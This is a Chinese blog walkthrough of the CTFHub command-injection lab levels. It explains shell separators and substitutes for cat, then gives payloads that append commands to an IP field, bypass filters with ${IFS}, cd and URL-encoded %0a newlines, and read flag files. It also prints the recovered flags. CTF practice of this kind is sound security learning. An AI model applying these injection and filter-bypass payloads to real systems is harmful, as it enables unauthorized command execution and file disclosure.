CTFHuB靶场命令执行题型过关总结

简介: 本篇博文是对自己学习rce漏洞后,因为没有进行实战练习,仅仅停留在概念上,因此做了一次靶场实战练习,来帮助自己熟悉rce漏洞的利用类型以及利用方法,写下这篇文章对此做个总结..其实关于这个练习已经过去了很久了,但我还是要那出来进行一次复习吧,对与命令执行相关的一些操作,对自己在漏洞挖掘方面能有更多的帮助,通过这次练习也对自己关于代码审计或是关于linux命令的常见命令的同意替换有了更多的了解.

前提


版权声明:本文为本博主在CSDN的原创文章搬运而来,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。                            

原文链接:https://blog.csdn.net/weixin_72543266/article/details/136581770


本篇博文是对自己学习rce漏洞后,因为没有进行实战练习,仅仅停留在概念上,因此做了一次靶场实战练习,来帮助自己熟悉rce漏洞的利用类型以及利用方法,写下这篇文章对此做个总结.


1.做题前需要了解的知识

1.1命令执行介绍:

 Command Injection,即命令注入攻击,是指由于嵌入式应用程序或者 web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。

1.2命令执行原理:

 web应用在调用这些函数执行系统命令的时候,在没有做好过滤用户输入的情况下,如果用户将自己的输入作为系统命令的参数拼接到命令行中,就会造成命令注(命令执行)的漏洞。

1.3 命令注入相关的特殊字符

符号 说明
; 前后命令依次执行 注意前后顺序,若更变目录,则必须在“一句”指令内
| 将前面执行命令的结果作为后一条的输入 管道,只输出后者的命令
|| 前命令执行失败后才执行后命令
& 前面执行完,然后执行后面的 如 a&b&c 则显示c的执行信息,a b在后台执行
&& 前命令执行成功后才执行后命令
`(反引号,仅linux) | 即命令替换,echodate`,输出系统时间 使用反引号运算符的效果与函数shell_exec()相同,但在激活了安全模式或者关闭了shell_exec()时是无效的
$(command) 这是命令替换的不同符号。与反引号效果一样。echo $(date),输出系统时间. 按理说更推荐用这种方法,而不是反引号。

前情,因为在做前面的eval时进了测试,判断了主机为linux,所以在进行后面的题目解题时默认为linux进行,当然这里也有一个小诀窍,通过大小写进行判断,改访问域名的URL,改大小写,看回显进行判断

win是对大小写不敏感的,linux对大小写是敏感的

2.命令注入

2.1明确题目意思

 查看题目的环境和题目的已知知识,进入题目后发现只有一个输入框,根据题目的意思是让我们输入IP

image.gif

image.gif

2.2 查看服务器下的文件

 在这里,我们尝试输入本地IP,并且说了不会进行过滤,让其执行后面的命令,首先使用

127.0.0.1|ls

image.gif

查看目录下的文件

image.gif

image.gif

发现页面14430616024597.php

2.3 查看发现的文件

 使用

127.0.0.1|cat 14430616024597.php

image.gif


发现什么都没有,则有可能存在php文件中有特殊字符,这里因为我做ctf较多的原因,所以通过查看源代码发现了flag,但是我尝试使用更难的操作,判断通常会使用base64,进行base64编码

2.4 进行base64编码

127.0.0.1|cat 14430616024597.php|base64

image.gif

image.gif

image.gif

PD9waHAgLy8gY3RmaHViezExZWRiYzk3ODdkOGMzNjlkZDQ2MTY3Yn0K

2.5 进行base64解码

 然后base64解码,使用在线工具

image.gif

2.6(^o^)/获得flag

 ctfhub{11edbc9787d8c369dd46167b}

3.过滤cat

3.1 搞清题意

 看题目名称,过滤了cat命令,所以我不去尝试cat命令了。既然基本和上面的关卡思路一致,那么直接操作就可以了。

image.gif

image.gif

因为Linux中查看文件内容并不止cat命令一个,而是有很多:

3.2 做题科普

cat 由第一行开始显示内容,并将所有内容输出

tac 从最后一行倒序显示内容,并将所有内容输出

more 根据窗口大小,一页一页的现实文件内容

less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符

head 只显示头几行

tail 只显示最后几行

nl 类似于cat -n,显示时输出行号

tailf 类似于tail -f

3.3 查看目录下的文件

所以要解决这个问题就很简单了,构造playload

127.0.0.1|ls

image.gif

发现两个文件,其中flag是第一个文件

image.gif

3.4 查看发现的文件

这里有两种思路,进行解,后面的题目我会挑一种方便的方式进行解题,因为重复性的无力劳动是无法学到新知识的

3.4.1 第一种

接下来使用less或者more代替cat

127.0.0.1 |less flag_14795757827558.php|base64
127.0.0.1 | more flag_14795757827558.php|base64

image.gif


是可以的 PD9waHAgLy8gY3RmaHVie2I2ZjI0NDIzOWU4M2I4NmM2N2MyOWFhNX0K 然后进行base64解码就可以了

3.4.2 第二种

 或者不用进行base64编码,通过输入下面的,然后发现存储位置没有,但是其实是存在于源代码中的

127.0.0.1 |less flag_14795757827558.php
127.0.0.1 | more flag_14795757827558.php

image.gif

image.gif


image.gif

而是直接查看页面源代码,直接发现

image.gif

image.gif

3.5 (^o^)/获得flag

ctfhub{b6f244239e83b86c67c29aa5}

4.过滤空格

4.1 题目所需知识

本题都说了,过滤空格,直接bing,linux过滤空格

image.gif

 就是过滤掉了空格,因为我们输入的命令都需要空格符进行间隔,找能代替空格的代替就行了。还是bing,搜绕过过滤空格的字符

image.gif

4.2 查看目录的下文件

 这里其实使用127.0.0.1;ls或是127.0.0.1|ls 都是可以查到的,忘记符号的区别的可以看看刚开始的知识介绍,这里我使用的是

127.0.0.1|ls

image.gif

image.gif


4.3 查看文件的内容

这里通过${IFS}代替空格,进行绕过,当然方法有很多种,都可以

127.0.0.1|cat${IFS}flag_5055821213570.php

image.gif

image.gif

查看源代码

image.gif

4.4. \(^o^)/获得flag

ctfhub{b9baa1adad0eee68c0e82117}

5.过滤目录分隔符

5.1 查看服务器下的文件

首先还是老样子,使用

127.0.0.1|ls

image.gif

image.gif


image.gif

 可以看到flag_is_here是个目录,需要进入这个目录找到对应的flag文件。题目说是过滤了目录分隔符 / ,那么我们就需要 cd 命令进入对应的目录。

5.2 查看flag_is_here目录下的文件

这里因为需要每条命令都需要依次执行,才能达到效果,所以不能使用|符号

127.0.0.1;cd flag_is_here;ls

image.gif




5.3 查看flag文件下的内容

 发现有flag_22131075419500.php文件,继续执行,即可通关

127.0.0.1;cd flag_is_here;cat flag_22131075419500.php

image.gif

image.gif

 发现没有东西,其实是因为编码的原因,没有正常显示出来,这里可以通过查看源代码进行查看

5.4 查看源代码

 这里直接右键查看源代码就可以看到flag了

image.gif

image.gif

5.5 (^o^)/得到flag

ctfhub{2ea2c2c6ea2d9f5b7a181c71}


6. 过滤运算符

 根据题目所知,过滤了一些符号,进行源码分析,可以看到过滤了管道符(|),直接使用逗号(;)即可


6.1 查看服务器下的文件

127.0.0.1;ls

image.gif

image.gif

6.2 查看flag文件

127.0.0.1;cat flag_189628999302.php

image.gif



6.3 查看源代码

image.gif

6.4 \(^o^)/得到flag

ctfhub{2f19664e3e3e8d333e7dafd7}

7. 综合过滤练习

7.1 题目分析

看题目的意思,分析源码发现,这道题能过滤的基本都过滤了,既然都过滤了,那我们就想办法进行绕过,无非就是需要进行的操作多了一点

image.gif

 空格可以用${IFS},cat可以用more,flag可以用正则f***匹配,ctfhub应该没什么用,这里浅浅查了一下,在linux下,命令分隔符除了;和|还有%0a,是通过URL编码的,有了;就可以不用运算符了。

 常用的管道符都不能用,只能用换行符的url编码 %0a,因为%0a是url编码,所以需要通过url当参数传入,不然%0a会被再次编码,失去作用

7.2 查看服务器下的文件

?ip=127.0.0.1%0als

image.gif

 注意是在url后进行拼接,不是在输入框中输入

image.gif

7.3 查看存在flag文件目录下的文件

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als

image.gif

image.gif

image.gif

 这里使用构造好的语句其实就是用%0a代替分符,用${IFS}代替空格,用more或是less代替cat,用f***进行了flag的匹配

7.4 查看flag文件的内容

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0a${IFS}more${IFS}f***_236832160630622.php

image.gif

image.gif

image.gif

  查看源代码

image.gif

7.5 \(^o^)/得到flag

ctfhub{91f1b714719763b2ddbf15e6}

8.总结

 其实关于这个练习已经过去了很久了,但我还是要那出来进行一次复习吧,对与命令执行相关的一些操作,对自己在漏洞挖掘方面能有更多的帮助,通过这次练习也对自己关于代码审计或是关于linux命令的常见命令的同意替换有了更多的了解.

相关文章
|
3月前
[LitCTF 2023]程序和人有一个能跑就行了 入土为安的第五天
[LitCTF 2023]程序和人有一个能跑就行了 入土为安的第五天
36 0
|
3月前
|
监控 网络协议 网络性能优化
这个方法,帮了80%的网工搞定命令总是记不住的问题!
这个方法,帮了80%的网工搞定命令总是记不住的问题!
|
存储 编译器 C语言
还在为每次打开程序的输入烦恼吗,这篇文章让你不在迷茫
在之前我们编写的程序中,我们总要录入一些数据给予程序用于计算,但是当我们退出程序后录入的数据会销毁,因为此时数据都是存放在内存中。等到下次再运行程序时,数据又得从新录入,这样就非常的难受。
67 0
还在为每次打开程序的输入烦恼吗,这篇文章让你不在迷茫
|
6月前
|
存储 编译器 Python
python实战【外星人入侵】游戏并改编为【梅西vsC罗】(球迷整活)——搭建环境、源码、读取最高分及生成可执行的.exe文件
python实战【外星人入侵】游戏并改编为【梅西vsC罗】(球迷整活)——搭建环境、源码、读取最高分及生成可执行的.exe文件
|
6月前
|
SQL 关系型数据库 MySQL
【sqli靶场】第二关和第三关通关思路
【sqli靶场】第二关和第三关通关思路
88 0
|
人工智能 算法 Java
关于“Python进高考”,我有句呵呵不知当讲不当讲
如果你是需要用编程来解决问题,那么用 Python 做便是了。用它是因为它适合,跟它火不火无关。
|
监控 安全 程序员
对服务器中恶意程序分析的收获
对服务器中恶意程序分析的收获
68 0
|
SQL 安全 数据库
记一次稍微有点曲折的getshell
记一次稍微有点曲折的getshell
|
Windows
pikachu靶场通关秘籍之命令执行攻击
pikachu靶场通关秘籍之命令执行攻击
129 0
|
人工智能
关于临时HY学长被安排拉二分题不想翻译找到DYM学长这件事(二)
关于临时HY学长被安排拉二分题不想翻译找到DYM学长这件事(二)
77 0